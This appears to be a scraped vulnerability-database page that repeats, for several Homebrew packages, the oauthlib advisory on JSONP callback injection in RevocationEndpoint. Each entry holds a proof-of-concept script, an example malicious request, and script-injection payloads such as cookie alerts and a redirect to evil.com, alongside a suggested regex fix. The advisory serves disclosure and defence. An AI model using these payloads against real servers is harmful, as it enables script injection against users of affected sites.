The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "s3ql",
"purl": "pkg:brew/s3ql"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.8.1"
},
{
"introduced": "6.0.0"
},
{
"fixed": "6.3.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-s3ql-CVE-2026-49264",
"modified": "2026-10-14T09:40:32Z",
"published": "2026-10-13T09:13:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-SCOUTSUITE-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:42 – Updated: 2026-10-14 10:42 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "scoutsuite",
"purl": "pkg:brew/scoutsuite"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.14.0_17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-scoutsuite-CVE-2026-49264",
"modified": "2026-10-14T10:42:19Z",
"published": "2026-09-30T20:42:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-SICKCHILL-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 19:29 – Updated: 2026-10-14 09:01 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
